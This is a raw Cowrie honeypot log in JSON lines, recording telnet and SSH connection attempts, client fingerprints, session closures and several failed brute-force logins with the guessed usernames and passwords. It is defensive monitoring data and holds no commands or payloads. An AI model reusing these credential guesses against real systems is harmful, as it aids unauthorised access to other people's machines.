{"eventid":"cowrie.session.closed","duration":43.65156936645508,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:38.423502Z","src_ip":"65.60.27.33","session":"3ce2bb556cc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55864,"dst_ip":"10.17.0.5","dst_port":23,"session":"8acf31d4e074","protocol":"telnet","message":"New connection: 38.54.119.93:55864 (10.17.0.5:23) [session: 8acf31d4e074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:38.539113Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51676,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f512569a2b","protocol":"telnet","message":"New connection: 62.210.97.77:51676 (10.17.0.5:23) [session: 75f512569a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:38.832586Z"}
{"eventid":"cowrie.session.closed","duration":41.35746431350708,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:40.768242Z","src_ip":"62.210.97.77","session":"967e0abb5187","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vbyd2020","message":"login attempt [root/Vbyd2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:41.604713Z","src_ip":"213.209.159.158","session":"fcf8d38b715d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.9178686141967773,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:42.129334Z","src_ip":"165.232.131.181","session":"02cf8dbe754c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.7209849357605,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:43.663474Z","src_ip":"65.60.27.33","session":"2c7b4a8675c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40374255180359,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:44.801186Z","src_ip":"62.210.97.77","session":"22fa886c327c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:44.852014Z","src_ip":"213.209.159.158","session":"fcf8d38b715d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":12496,"dst_ip":"10.17.0.5","dst_port":22,"session":"33be77059e82","protocol":"ssh","message":"New connection: 213.209.159.158:12496 (10.17.0.5:22) [session: 33be77059e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:44.936262Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41632,"dst_ip":"10.17.0.5","dst_port":23,"session":"869c45186568","protocol":"telnet","message":"New connection: 165.232.131.181:41632 (10.17.0.5:23) [session: 869c45186568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:45.852266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:47.534771Z","src_ip":"213.209.159.158","session":"33be77059e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:47.539025Z","src_ip":"213.209.159.158","session":"33be77059e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":63668,"dst_ip":"159.203.135.109","dst_port":22,"session":"295ac4cc6079","protocol":"ssh","message":"New connection: 89.218.69.66:63668 (159.203.135.109:22) [session: 295ac4cc6079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:48.951401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:48.956301Z","src_ip":"89.218.69.66","session":"295ac4cc6079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42680,"dst_ip":"10.17.0.5","dst_port":23,"session":"675ef116e60a","protocol":"telnet","message":"New connection: 165.232.131.181:42680 (10.17.0.5:23) [session: 675ef116e60a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:49.067310Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:49.130800Z","src_ip":"89.218.69.66","session":"295ac4cc6079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.33443999290466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:49.820930Z","src_ip":"62.210.97.77","session":"a67f6008ede0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"changeme","message":"login attempt [user/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:50.356991Z","src_ip":"89.218.69.66","session":"295ac4cc6079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58852,"dst_ip":"10.17.0.5","dst_port":23,"session":"d790a1e845fb","protocol":"telnet","message":"New connection: 165.232.131.181:58852 (10.17.0.5:23) [session: d790a1e845fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:50.895730Z"}
{"eventid":"cowrie.session.closed","duration":0.005887269973754883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:50.901484Z","src_ip":"165.232.131.181","session":"d790a1e845fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.554015159606934,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:51.126349Z","src_ip":"165.232.131.181","session":"d8ba053b5f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:51.533435Z","src_ip":"89.218.69.66","session":"295ac4cc6079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.376354932785034,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:52.899988Z","src_ip":"62.210.97.77","session":"dc663afec0cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.10593366622925,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:53.238667Z","src_ip":"165.232.131.181","session":"3666edac0ff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.61773109436035,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:53.504271Z","src_ip":"62.210.97.77","session":"a7237470fb56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37066,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc14beae8b5","protocol":"telnet","message":"New connection: 38.54.119.93:37066 (10.17.0.5:23) [session: cdc14beae8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:53.983917Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vanke+2019","message":"login attempt [root/vanke+2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:56.835827Z","src_ip":"213.209.159.158","session":"33be77059e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.772708892822266,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:58.566741Z","src_ip":"62.210.97.77","session":"b4562d545fcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41366,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8ab8ef9961b","protocol":"telnet","message":"New connection: 62.210.97.77:41366 (10.17.0.5:23) [session: b8ab8ef9961b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:58.808375Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41368,"dst_ip":"10.17.0.5","dst_port":23,"session":"24fac88ed53c","protocol":"telnet","message":"New connection: 62.210.97.77:41368 (10.17.0.5:23) [session: 24fac88ed53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:39:59.295590Z"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:00.515780Z","src_ip":"213.209.159.158","session":"33be77059e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50406,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfeeb9bc6db7","protocol":"ssh","message":"New connection: 213.209.159.158:50406 (10.17.0.5:22) [session: cfeeb9bc6db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:00.618633Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41378,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e964c396ab1","protocol":"telnet","message":"New connection: 62.210.97.77:41378 (10.17.0.5:23) [session: 4e964c396ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:00.953206Z"}
{"eventid":"cowrie.session.closed","duration":120.00188088417053,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:01.745314Z","src_ip":"165.232.131.181","session":"d466dbdcbeca","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:02.846743Z","src_ip":"213.209.159.158","session":"cfeeb9bc6db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:02.850856Z","src_ip":"213.209.159.158","session":"cfeeb9bc6db7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.73554301261902,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:05.470092Z","src_ip":"62.210.97.77","session":"342f296feaba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.03556418418884,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:05.527591Z","src_ip":"165.232.131.181","session":"44d87faa3dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45602,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af9148cd555","protocol":"telnet","message":"New connection: 38.54.119.93:45602 (10.17.0.5:23) [session: 8af9148cd555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:07.787429Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fc03d67c80b","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 1fc03d67c80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:08.130881Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:08.245605Z","src_ip":"77.90.185.16","session":"1fc03d67c80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.37543439865112,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:09.424415Z","src_ip":"165.232.131.181","session":"2cfb248be585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54814,"dst_ip":"10.17.0.5","dst_port":23,"session":"f21ae9ea4d01","protocol":"telnet","message":"New connection: 62.210.97.77:54814 (10.17.0.5:23) [session: f21ae9ea4d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:09.590671Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50718,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ecfa5c43543","protocol":"telnet","message":"New connection: 165.232.131.181:50718 (10.17.0.5:23) [session: 5ecfa5c43543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:10.060684Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54824,"dst_ip":"10.17.0.5","dst_port":23,"session":"38476db401de","protocol":"telnet","message":"New connection: 62.210.97.77:54824 (10.17.0.5:23) [session: 38476db401de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:10.309268Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"User!","message":"login attempt [root/User!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:12.300258Z","src_ip":"213.209.159.158","session":"cfeeb9bc6db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":43896,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a9e52246884","protocol":"ssh","message":"New connection: 94.156.152.18:43896 (159.203.135.109:22) [session: 4a9e52246884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:12.490659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:12.497124Z","src_ip":"94.156.152.18","session":"4a9e52246884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:12.623960Z","src_ip":"94.156.152.18","session":"4a9e52246884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS8VCPU16GBAMD","message":"login attempt [root/QUEENVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:13.005485Z","src_ip":"94.156.152.18","session":"4a9e52246884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52316,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b3e0062a8bb","protocol":"telnet","message":"New connection: 165.232.131.181:52316 (10.17.0.5:23) [session: 8b3e0062a8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:13.082752Z"}
{"eventid":"cowrie.session.closed","duration":45.857099771499634,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:13.463807Z","src_ip":"165.232.131.181","session":"84d70a16d959","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:14.135770Z","src_ip":"94.156.152.18","session":"4a9e52246884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.579347848892212,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:14.639909Z","src_ip":"165.232.131.181","session":"5ecfa5c43543","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.36829590797424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:15.200792Z","src_ip":"62.210.97.77","session":"75f512569a2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:15.916402Z","src_ip":"213.209.159.158","session":"cfeeb9bc6db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1904,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e2951215173","protocol":"ssh","message":"New connection: 213.209.159.158:1904 (10.17.0.5:22) [session: 8e2951215173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:16.020051Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54834,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f2b6617691","protocol":"telnet","message":"New connection: 62.210.97.77:54834 (10.17.0.5:23) [session: 52f2b6617691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:16.754275Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54840,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b2d09c7324","protocol":"telnet","message":"New connection: 62.210.97.77:54840 (10.17.0.5:23) [session: 60b2d09c7324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:17.158741Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"bff8eb298e41","protocol":"telnet","message":"New connection: 62.210.97.77:54856 (10.17.0.5:23) [session: bff8eb298e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:17.671478Z"}
{"eventid":"cowrie.session.closed","duration":4.851994752883911,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:17.934620Z","src_ip":"165.232.131.181","session":"8b3e0062a8bb","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:40:18.310572Z","src_ip":"213.209.159.158","session":"8e2951215173","protocol":"ssh"}
